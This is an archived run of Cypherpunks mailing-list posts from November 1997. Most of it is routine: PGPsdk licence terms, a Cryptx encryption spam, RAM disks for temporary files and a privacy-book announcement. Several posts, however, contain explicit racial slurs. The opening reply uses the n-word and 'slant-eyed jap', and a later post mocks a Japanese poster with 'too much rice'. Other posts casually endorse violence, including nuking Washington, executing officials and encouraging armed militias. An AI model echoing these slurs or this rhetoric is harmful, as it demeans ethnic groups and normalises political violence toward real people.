> > If you are going to become
> > oversensitive about such comments the cypherpunks list is probably the
> > worst place to be.
> 
> I'm not oversensitive -- just stating the obvious to the oblivious.

Not so, making a distinction between different races is not the same as 
being racist, I could call you a yank, any of our 2 japanese posters a 
slant-eyed jap, and you could refer to me as a closeted limey, we both 
know the other has no serious intention to offend a whole ethnic group, 
even if the statement is intended to be offensive to its particular 
recipient. Someone over sensitive would however feel the comment was 
racist, ymmv, if it did, I would think your opinion wrong.

> It is an unfortunate fact that a large percentage of the population is
> racist without even being aware of it, and, like you, vigorously deny
> it.

I do not consider myself racist, merely able to see past PC bullshit 
about not calling a violent drug addicted "person of colour" a "fucked up 
nigger".

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 17 Nov 1997 10:39:59 +0800
To: cypherpunks@toad.com
Subject: Re: PGPsdk is now free for non-commercial use
Message-ID: <3.0.3.32.19971116182648.00706d44@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



[I'm also posting this to coderpunks, but cypherpunks is probably 
a better place for discussions.]

At 10:13 PM 11/15/1997 -0800, Bill Frantz wrote:
>At 1:06 AM -0800 11/15/97, phelix@vallnet.com wrote:
>>Well, PGP has come to it's senses and is allowing non-commercial 
>>developers to use the sdk for free.  I didn't notice anything too
>>ominous in the license agreement, and they promise a new 
>>licensing/prices for shareware and small commercial developers.
>>
>>Perhaps nobody is buying the sdk at it's current highly 
>>inflated licensing price.
>
>Much more likely is that more than a few cypherpunks discussed 
>the issue with PRZ at the last SF Bay Area Physical meeting, 
>and that discussion is bearing fruit.

I'm pleased to see PGP Inc. permitting development of freeware,
but at leased from a first reading of the license, 
it's a _really_ restrictive definition of "freeware" - 
not only does the software have to be free, but it can only be used 
in extremely restrictively non-commercial activities.
It's far more restrictive than RSAREF (though more precisely defined.)
Here's an excerpt from the web page at
	http://www.pgp.com/sdk/sdklicencefree.html
	For purposes hereof, the term "non-commercial" shall mean that
	the application 
	(a) has been distributed or otherwise made available at no charge 
	(direct or indirect) and 
	(b) is not used for any commercial purpose, which includes, 
	but is not limited to, any activity engaged for the purpose 
	of generating revenues (directly or indirectly). 
	For example, a commercial purpose includes the use of the 
	application within a commercial business or facility or 
	the use of the product to provide a service, or in support 
	of service, for which you charge. 
	Commercial purpose also includes use by any government agency
	or organization. 
	Examples of non-commercial purposes include use 
	at home for personal correspondence, 
	use by students for academic activities, 
	or use by human rights organizations. 

First of all, it sounds like it can only be used by students at
non-government-run universities, but not at Berkeley, and if
Random MIT Student develops PGPwidget using the toolkit,
students at U.C.Berkeley can't use it for academic use either,
except perhaps on their PCs at home (if they live off-campus.)
(Do any of the UK universities count as non-government-run?)

But "within a commercial business or facility" is far more 
restrictive.  
I use a laptop for my home and work email, and carry it around.
It sounds like I can't use PGPwidget or PGPsdk for encrypting 
personal email at lunchtime when my laptop is at the office,
and perhaps not from a hotel (at least if I'm there on business)?
I probably can't start PGPwidget at home and leave it running
when I carry the laptop to work.  I probably can't use PGPwidget
when I'm reading my work email at home, though perhaps it's ok
to use it on personal mail that someone sent to my work MSExchange,
assuming it's not a widget that competes with a PGP product.

This is frustrating - today, I can use PGP 2.6.2, and maybe 5.0,
at work, though I can't sell it without a license, and it's
not very clear whether I can run a commercial service without
a license (I probably need a license from RSA, but not PGP,
and non-RSA keys probably don't require that.)  And I can certainly
write programs that use PGP command-line interfaces to 
encrypt things without any restrictions on my code.
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Mon, 17 Nov 1997 10:46:04 +0800
To: jito@eccosys.com
Subject: Re: Exporting crypto from Japan
Message-ID: <19971117023732.14581.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Do you readJapanese import & export law book?
If you don't read at yet,You must read it.


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 17 Nov 1997 10:59:35 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: PGPsdk is now free for non-commercial use
In-Reply-To: <v0311072bb0943f37b4d6@[207.94.250.122]>
Message-ID: <3.0.2.32.19971116185328.006d9ca8@netcom12.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:25 PM 11/16/97 -0800, Bill Stewart wrote:
>I'm pleased to see PGP Inc. permitting development of freeware,
>but at leased from a first reading of the license, 
>it's a _really_ restrictive definition of "freeware" - 
>not only does the software have to be free, but it can only be used 
>in extremely restrictively non-commercial activities.

The idea is simple: you make money from software that costs the authors
lots of money to develop or use their software in a business environment
(=to make money), you have to pay the people that spent time, effort, and,
yes, money, on making it happen.

Sounds reasonable to me.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 17 Nov 1997 13:07:22 +0800
To: remove@ultra-mail.com
Subject: cryptx spam - des-based program.
In-Reply-To: <199711152150.NAA21132@ixmail2.ix.netcom.com>
Message-ID: <3.0.3.32.19971116190522.00724224@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



I got spammed by someone selling Cryptx, a DES-based encryption program.
I'm assuming they know they're spamming; at least the person who
sent the email did, though perhaps the vendor doesn't understand it.
In addition to selling crypto, their web page says they also sell an
"Automates the process of submitting your URL's to over 370 sites!"
which is at least on the borderline tacky side.

Their web page doesn't look like snake oil, though they _really_ 
need to emphasize the importance of good keys 
(they talk about DES having been cracked once by the distributed 
internet crack, and neglect to mention that DES with easy-to-guess 
keys has been cracked regularly for years.  
So not only do the Bad Guys abuse the level of effort of the crack, 
but so do well-meaning but clueless people.) 
I'd guess they don't do anything like generating a random high-entropy 
session key and encrypting it with a passphrase.
Also, they promise an "Update to 448-Bit encryption", which says
that even if there's no snake oil now, there may be soon.
Upgrade so you can email your encrypted files right through Cryptx. You
will never have to worry about sending uncompromised email again.

All of the domain names in the SPAM are from directsend.com
   Info World 
   PO BOX 92223
   City of Industry, CA 91715-2223
except of course than nrply.com is non-existent.
The web page gives its identity as
 PBD Technologies
 13502-H Whittier Blvd.
 Suite 304
 Whittier, CA 90605
Their web page also says they have offices in Portland and Toronto,
presumably including the person named in the whois for crypt-x.com 
   Mark Weber CRYPT-X-DOM
   4534 SE 17th Ave. Ste. 153B
   Portland, OR 97202
   US
   Administrative Contact:
      Weber, Mark  MW3634  coolio@AIMARKET.COM
      503-235-9442 (FAX) 503-235-9254

> Return-Path: <cryptx@ultra-mail.com>
> Received: from digital-coupons.com ([206.84.21.30])
>	by ixmail2.ix.netcom.com (8.8.7-s-4/8.8.7/(NETCOM v1.01)) with ESMTP id NAA21132; ;
>	Sat, 15 Nov 1997 13:50:22 -0800 (PST)
>From: cryptx@ultra-mail.com
>Message-Id: <199711152150.NAA21132@ixmail2.ix.netcom.com>
>Received: by digital-coupons.com (8.8.7/8.8.5) with SMTP id QAA07327;
>        Sat, 15 Nov 1997 16:48:59 -0500 (EST)
>Date: Sat, 15 Nov 1997 16:48:59 -0500 (EST)
>Received: from  by  (8.8.5/8.7.3) with SMTP id XAA02678 for ;  Sat, 15 November 1997 13:38:59 -0700 (EDT)
>To: GetProtected@nrply.com
>Subject: Protect your data from prying eyes!
>
>Hello -
>Do you have information that is vulnerable?  Do you 
>utilize Email, FTP, HTTP, or just browse the Net?  
>If so, your personal and business information is accessable 
>to those who know how to find it.  Now you can have the most 
>powerful Data Security program, Cryptx, completely encrypt 
>your data to keep out prying eyes.  Why take the chance?  Get 
>your information completely secured and keep everyone from 
>children to co-workers OUT of your private data.  For more 
>information and to get your FREE, fully-functional, Demo today 
>simply go to our website at:
>http://www.ultra-mail.com/cryptx
>For questions or information on Dealer opportunities, please
>send a message to:  cryptx@ultra-mail.com
>Thanks-
>Cryptx Staff
>
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>to be permanently removed, please send a message
>to:  remove@ultra-mail.com
>
>
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Van Domelen <dvandom@pacific.mps.ohio-state.edu>
Date: Mon, 17 Nov 1997 08:32:41 +0800
To: cypherpunks@toad.com
Subject: Re: Naziworld
In-Reply-To: <346EF434.4C3F@dev.null>
Message-ID: <199711170022.TAA27688@pacific.mps.ohio-state.edu>
MIME-Version: 1.0
Content-Type: text/plain



Which link?  And which Naziworld are you referring to?  There's lots out
there in comics, fiction and gaming.

     Dave





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Mon, 17 Nov 1997 11:11:54 +0800
To: cypherpunks@toad.com
Subject: Re: Email Interception Information
In-Reply-To: <346E77AA.70F7@bureau42.ml.org>
Message-ID: <Pine.LNX.3.96.971116192306.6417E-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Is it a good sign or a bad sign when you start appearing as a spoofgram from
somewhere in Canada?  (This isn't me, but it's an above-average forgery. :)

dave

On Sat, 15 Nov 1997, David E. Smith wrote:

> Date: Sat, 15 Nov 1997 22:33:46 -0600
> From: "David E. Smith" <dave@bureau42.ml.org>
> Reply-To: cypherpunks@toad.com
> To: Ann Oy <annoy@innocent.com>
> Cc: cypherpunks@toad.com
> Subject: Email Interception Information
> 
> Ann Oy wrote:
> >
> 
> Ann,
>   The correct address for the Information Server at Sympatico is:
> Information Server <ualdv8@sk.sympatico.ca>
>   Use a subject header of "Help" and put "email security" in the
> message body.
> 
> Dave
> 
> 

--

Today's pseudorandom quote:
`Nineteen Eighty-Four' was a warning, not a blueprint!

David E. Smith, P O Box 324, Cape Girardeau MO USA 63702
Keywords: SciFi bureau42 Wicca Pez Linux PGP single! ;-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@clueserver.org>
Date: Mon, 17 Nov 1997 11:58:31 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: PGPsdk is now free for non-commercial use
In-Reply-To: <3.0.3.32.19971116182556.0072fe08@popd.ix.netcom.com>
Message-ID: <199711170358.TAA14061@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:53 PM 11/16/97 -0800, Lucky Green wrote:
>
>At 06:25 PM 11/16/97 -0800, Bill Stewart wrote:
>>I'm pleased to see PGP Inc. permitting development of freeware,
>>but at leased from a first reading of the license, 
>>it's a _really_ restrictive definition of "freeware" - 
>>not only does the software have to be free, but it can only be used 
>>in extremely restrictively non-commercial activities.
>
>The idea is simple: you make money from software that costs the authors
>lots of money to develop or use their software in a business environment
>(=to make money), you have to pay the people that spent time, effort, and,
>yes, money, on making it happen.
>
>Sounds reasonable to me.

I can see where they want to make a profit, but the licence makes the
software virtually undistributable by normal shareware channels.  

>From what I have read of the license it is against the license agreement to
ship the libraries on a CD of shareware products for which a price is charged.

If I were to create a program using the libraries and upload them to Simtel
or one of the other big archives, it could not be distributed on a Simtel
CD-ROM that someone was charging money for.  (Ignoring the usual export
issues.)

I see this as a big problem.

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 17 Nov 1997 12:10:43 +0800
To: Alan Olsen <alan@clueserver.org>
Subject: Re: PGPsdk is now free for non-commercial use
In-Reply-To: <3.0.2.32.19971116185328.006d9ca8@netcom12.netcom.com>
Message-ID: <3.0.2.32.19971116200126.006de1a4@netcom12.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:47 PM 11/16/97 -0800, Alan Olsen wrote:
>>From what I have read of the license it is against the license agreement to
>ship the libraries on a CD of shareware products for which a price is
charged.

o There is typically an exemption in license agreements for distribution of
software that charges nominal media costs. If PGP overlooked this, it can
be added trivially. No need to get excited about it.

o The current license agreement for the PGPsdk is for use freeware only.
The license agreement for shareware has not yet been made public (=been
written).





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 17 Nov 1997 09:09:25 +0800
To: cypherpunks@toad.com
Subject: Re: The Electronic Privacy Papers
Message-ID: <1.5.4.32.19971117010344.0075186c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks to David Spector's praise and pointer for:

   "The Electronic Privacy Papers: Documents on the 
   Battle for Privacy in the Age of Surveillance"

   by Bruce Schneier and David Banisar

we offer its 10-page detailed TOC, foreword, preface and epilog:

   http://jya.com/tepp.htm  (49K)

The 747-page volume is an excellent read and rich resource of once secret 
documents, legislation, regulations, letters, memos, names, events, policies,
opinions and disputes of the surveillance age and crypto battles. Subscribers
to this list are amply represented.

In addition to the Amazon URL provided by David:

   http://www.amazon.com/exec/obidos/ats-query/9615-8912043-502933

Bruce offers a 15% discount off the $60 price at:

   http://www.counterpane.com/privacy.html

B&N sells it in Manhattan for $39.95, hardcover.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 17 Nov 1997 03:30:03 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Policeman Inside
Message-ID: <199711161926.UAA10741@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Tim May says:
> Of course, an alternative is to say "Fuck you" to those who want us to shut
> up, to deploy more unbreakable crypto, to encourage more armed militias to
> spring up, to destabilize the regimes in Hong Kong, Japan, and India, and
> to "Just Say No" to backdoors in PGP and other crypto products. Bring on
> crypto anarchy.

Sounds like a good plan to me!

What do people think this nym is for?  Only nyms can trade with
impunity in the tax free cypherspace.

Amad3us

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Version: 2.6.3i

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3Q3NhhyClPc=
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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 17 Nov 1997 03:34:26 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Nakatuji-san and Male PenPals
Message-ID: <199711161929.UAA11019@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> At 10:37 AM -0700 11/16/97, xxxxxxxxx wrote:
> >Tim May <tcmay@got.net> said:
> >>(I did the same search several days ago, as Nakatuji once again became
> >>news here, and couldn't find any references at all to his exact name.
> >>Maybe the sites or archives that carried his pen pal requests, if it was
> >>he and not some other with the same name, had flushed this older stuff.)
> >
> >Well I did some searching myself and the only thing I could find out side
> >of the CP-Archives was the one post to the Einstein Male PenPal webpage
> >using the e-mail address below.
> >
> >http://cuy.net/~einstein/local/malebook.html
> >
> >Nobuki Nakatuji <nn1332@galaxynet.or.jp>

> Is this the same Nobuki Nakatuji asking for money  for descriptions of
> crypto programs? ("What am Misty?"..."You send money, I send description")

ROTFL!

I look up all of the URLs in the InfoWar Chronicles sent
to the list and I was mystified as to why the one you
just mentioned (http://cuy.net/~einstein/local/malebook.html)
was linked to when I clicked on the word _extortion_.
Now it makes sense. Kinda. Maybe.

If you click on the highlighted text _terrorists steeped in 
extremism and political hatred_ it sends you to whithouse.gov.
When I get one of those chapters when I am too fucked up to
read I just read the highlighted text and see where it goes
and its usually pretty weird.
I wonder if Nobuki charges his _pen pals_ the same price as
he charges cypherpunks. ;P ($50 to have him _play Misty_
for us). ;P





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Mon, 17 Nov 1997 12:01:29 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: RAM disks for temp files?
In-Reply-To: <3.0.3.32.19971116125402.007134ec@popd.ix.netcom.com>
Message-ID: <199711170351.WAA27712@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.3.32.19971116125402.007134ec@popd.ix.netcom.com>, on 11/16/97 
   at 12:54 PM, Bill Stewart <stewarts@ix.netcom.com> said:

>At 01:27 AM 11/16/1997 +0100, Anonymous wrote:
>>> (Hint, temporary files all over the place.)
>>  For you old farts who have not been out in the real world for a
>>while, you should make note of the fact that the price of memory
>>has dropped, and it is now feasible to implement RAM disks to
>>store temporary files.

>I was using RAM disks on my 386 machines with Win3.1.
>Now that I've got faster machines with more RAM,
>I'm running Win95 and can't find a ramdisk program - 
>does anybody know where to find one?

>On Unix, you _could_ do things with temp files,
>but it usually made much more sense to structure your programs to use
>pipes, which means there's no temp file and only
>a few KB of RAM buffering in between each program.
>PGP's DOS heritage doesn't encourage this sort of programming, though the
>new design for one-pass processing may have
>made it either possible or unnecessary.

>On machines with real operating systems, designing a 
>ramdisk includes deciding whether to make it virtual memory
>that might get swapped if necessary, or nail it into RAM.
>Since RAMdisks are usually intended for increasing speed,
>it usually makes more sense to let the vm manager decide
>what pages to page out and what pages not to,
>but obviously if you're using it for security that's different.

>SunOS had the /tmpfs file system design which let you
>get hybrid behavior - temp files stay in RAM until
>they need to get swapped out to disk, and most programs
>delete them before that ever happens - really speeds up compiles. >From a
>cryptographic standpoint, it's not ideal, since occasionally your files
>would end up on disk, but they'd usually be safe.
>				Thanks! 

For OS/2 there is a very nice RAM Disk program called SVDisk. It allows
you to "lock" a portion or all of your Ramdisk to be non-swapable. Also
has multiple disk support, HPFS & FAT support, and various floppy format
support for VFloppies.

The initial VDisks must be set-up in the config.sys via the VDisk.sys
driver. After bootup the user is free to mount & unmount disks, format
disks, and lock and unlock portions of the VDisks.

I usally run a 8Mb HPFS VDisk Locked for a temp directory.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)Amad3us <cypherpunks@cyberpass.net>
Date: Mon, 17 Nov 1997 04:05:48 +0800
To: cypherpunks@cyberpass.net
Subject: the art of fighting without fighting
Message-ID: <199711161959.UAA14136@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Bruce Lee film.

Scene on a sailing ship headed for island where tournament
is to be held.

Thug karate type hassles Mr Lee, picking a fight.  Thug
asks: "so what kind of karate do you fight."  Mr Lee: "the
art of fighting without fighting."  Thug asks for fight.  Mr
Lee: "not here, on that island over there," points.  OK says
thug eagerly and climbs down into rowing boat.  Mr Lee
unties end of rope and hands to children playing, leaning
over edge of ship.  Thug screams obscenities from row boat,
trys to pull himself in but children threaten to let go of
rope.

Mr Lee walks off camera unperturbed with smug look.

Moral of story: fight smart.  That's what cypherpunks tactic
is.  Multiplies your efficacy.

Anonymous decries talk of violence on list.  Understand
anonymous, we are not the aggressors, we are the aggressed.
It is annoying being on the receiving end of aggression
especially where the aggressor is the local force monopoly
and you have no recourse.  Hence talk of nuking DC, and of
capital punishment for criminal government officials.  There
is certain poetic karmic value to these expressions of
annoyance.  Helps spread the dissatisfaction with
government.

However, the fact that criminal officials deserve punishment
does not mean that any of us are interested to actually
deliver that punishment.  There are more efficient methods
of utilising our available resources: write crypto code,
hasten crypto-anarchy.  Have the government collapse through
lack of funding, have it's power eroded.

Let's get to it.

Amad3us

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1end8q1QRPM=
=hc+j
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 17 Nov 1997 14:04:46 +0800
To: Lucky Green <alan@clueserver.org>
Subject: Re: PGPsdk is now free for non-commercial use
In-Reply-To: <199711170358.TAA14061@www.ctrl-alt-del.com>
Message-ID: <3.0.3.32.19971116212137.00730320@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:01 PM 11/16/1997 -0800, Lucky Green wrote:
>At 07:47 PM 11/16/97 -0800, Alan Olsen wrote:
>>>From what I have read of the license it is against the license 
>>agreement to ship the libraries on a CD of shareware products 
>>for which a price is charged.

>o There is typically an exemption in license agreements for distribution of
>software that charges nominal media costs. If PGP overlooked this, it can
>be added trivially. No need to get excited about it.

I assume it was deliberate - it goes out of its way to say that you
can't use it to generate revenues, directly or indirectly,
and even including it on a disk of freeware that you sell
would appear to count, as would providing the free widget for
free download on a web page with commercial advertising banners.

It's far more restrictive than the previous PGP policies,
and not being able to use it in my office building is even more
annoying than not being able to use it to encrypt work email.

>o The current license agreement for the PGPsdk is for use freeware only.
>The license agreement for shareware has not yet been made public (=been
>written).

I'm not bothered by the freeware permissions not applying to shareware;
it would be nice if they negotiate a low enough price for shareware
authors to use, but if you're going to make money off their code,
I don't mind if PGP wants their cut.  
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dabi-do@juno.com (Six 6 Six)
Date: Mon, 17 Nov 1997 10:34:30 +0800
To: tcmay@got.net
Subject: Re: Exporting crypto from Japan
In-Reply-To: <v0310280ab092257910a1@[207.167.93.63]>
Message-ID: <19971116.212452.9166.0.dabi-do@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



To Mr. May and Jito-san and all fellow and aspiring Cypherpunks:

	The future of technological products threatened by bureaucratic
and restrictive governmental interests
may lie in the proven business powers of the black market and its related
syndicates.


Dabi-do
dabi-do@juno.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@clueserver.org>
Date: Mon, 17 Nov 1997 13:48:22 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: PGPsdk is now free for non-commercial use
In-Reply-To: <199711170358.TAA14061@www.ctrl-alt-del.com>
Message-ID: <199711170552.VAA14639@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:01 PM 11/16/97 -0800, Lucky Green wrote:
>At 07:47 PM 11/16/97 -0800, Alan Olsen wrote:
>>>From what I have read of the license it is against the license agreement to
>>ship the libraries on a CD of shareware products for which a price is
>charged.
>
>o There is typically an exemption in license agreements for distribution of
>software that charges nominal media costs. If PGP overlooked this, it can
>be added trivially. No need to get excited about it.

I know that, you know that, but do the lawyers know that?

Shareware and freeware share the same distribution channels, so it is a
problem for freeware until the licence gets upgraded.

>o The current license agreement for the PGPsdk is for use freeware only.
>The license agreement for shareware has not yet been made public (=been
>written).

I know that.

I just find the current versions on the licence agreement to be not well
thought out.  I expect similar problems to be found in the shareware licence.

By version 2.x of the license agreement, I expect it to be something that
will not make problems for freeware/shareware developers.

[Note: I am not claiming consipracy or illwill by PGP in this matter.  This
stuff just reads like the lawyers had not quite enough understanding of the
issues when they wrote this.  Could be worse, Borland has had some pretty
unworkable license restrictions.  And I won't even get into Microsoft...]
---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dabi-do@juno.com (Six 6 Six)
Date: Mon, 17 Nov 1997 10:45:21 +0800
To: jito@eccosys.com
Subject: Apologies to Joichi Ito
Message-ID: <19971116.213654.9166.1.dabi-do@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



Mr. Ito:

	Apologies for misspelling your surname.  Ito-san was what I had
in mind.

Dabi-do
dabi-do@juno.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@clueserver.org>
Date: Mon, 17 Nov 1997 13:48:37 +0800
To: phelix@vallnet.com
Subject: Re: PGPsdk is now free for non-commercial use
In-Reply-To: <3.0.3.32.19971116182556.0072fe08@popd.ix.netcom.com>
Message-ID: <199711170552.VAA14642@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:11 AM 11/17/97 +0000, phelix@vallnet.com wrote:
>
>On 16 Nov 1997 22:18:39 -0600, Alan Olsen <alan@clueserver.org> wrote:
>
>>>From what I have read of the license it is against the license agreement to
>>ship the libraries on a CD of shareware products for which a price is
charged.
>>
>>If I were to create a program using the libraries and upload them to Simtel
>>or one of the other big archives, it could not be distributed on a Simtel
>>CD-ROM that someone was charging money for.  (Ignoring the usual export
>>issues.)
>>
>>I see this as a big problem.
>
>This, unfortunately, is a non-issue.  I just reread the license agreement
>and noticed the following:
>
>Non-Commercial Distribution License.
>
> Subject to all the terms and conditions of this Agreement, PGP hereby
>grants to you or your organization a limited, nonexclusive, nontransferable
>license (a) to incorporate [... stuff deleted ...] 
>and (b) to reproduce and distribute the Bundled Freeware Application to end
>users solely by electronic means (for example, posting on networks or
>Internet sites for others to download), 
>
>So, the only way to really (legally) distribute this would be on your own
>web site, or a web site that will never be picked up on a cdrom
>distribution.
>
>The as of yet unreleased shareware licensing agreements will probably cover
>cdrom distribution.

Freeware and shareware often share the same distribution channel.  It kind
of puts a crimp in distribution if you cannot upload to any archive that
might wind up on a cd-rom.  (Furthermore, uploads to those archives are not
always under the control of the author.)

Hopefully they will go back and update the freeware license agreement as well.
---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 17 Nov 1997 11:35:14 +0800
To: cypherpunks@toad.com
Subject: Re: Apologies to Joichi Ito
In-Reply-To: <19971116.213654.9166.1.dabi-do@juno.com>
Message-ID: <iTmage3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



dabi-do@juno.com (Six 6 Six) writes:

>
> Mr. Ito:
>
> 	Apologies for misspelling your surname.  Ito-san was what I had
> in mind.

Too much rice no good for the brain.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 17 Nov 1997 15:16:56 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Policeman Inside
In-Reply-To: <v0310280bb092291ceb73@[207.167.93.63]>
Message-ID: <19971116230732.31621@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Nov 16, 1997 at 09:03:50AM -0700, Tim "Ad Hominem" May wrote:
[...]
> As Bob Hettinga, Kent Crispin, and other policemen inside are warning, if
> we don't censor ourselves, if we don't narc out others, the real police
> will have to do it for us. Welcome to the New World Order.

You're of the "courtesy == censorship" school, clearly.

> Of course, an alternative is to say "Fuck you" to those who want us to shut
> up,

Apparently the only alternative that you understand.

> to deploy more unbreakable crypto, to encourage more armed militias to
> spring up, to destabilize the regimes in Hong Kong, Japan, and India, and
> to "Just Say No" to backdoors in PGP and other crypto products. Bring on
> crypto anarchy.

Yeah, yeah.  You won't live to see it, Tim.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Mon, 17 Nov 1997 12:22:03 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <62c0ce046ea812e50882fefc2a6c5667@anon.efga.org>
Message-ID: <3.0.2.32.19971116231506.0387c394@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:54 PM 11/14/97 -0500, Anonymous wrote:
>It is astonishing that people like you and William Geiger, who apparently
>make their living as consultants, feel so comfortable publicly approving
>racist comments directed against the Japanese.  Does William expect ever
>to work with a Japanese customer, after suggesting that Truman should
>have dropped additional atomic bombs on Japan?
>
>Even if you share Tim May's lack of moral constraint, you presumably do
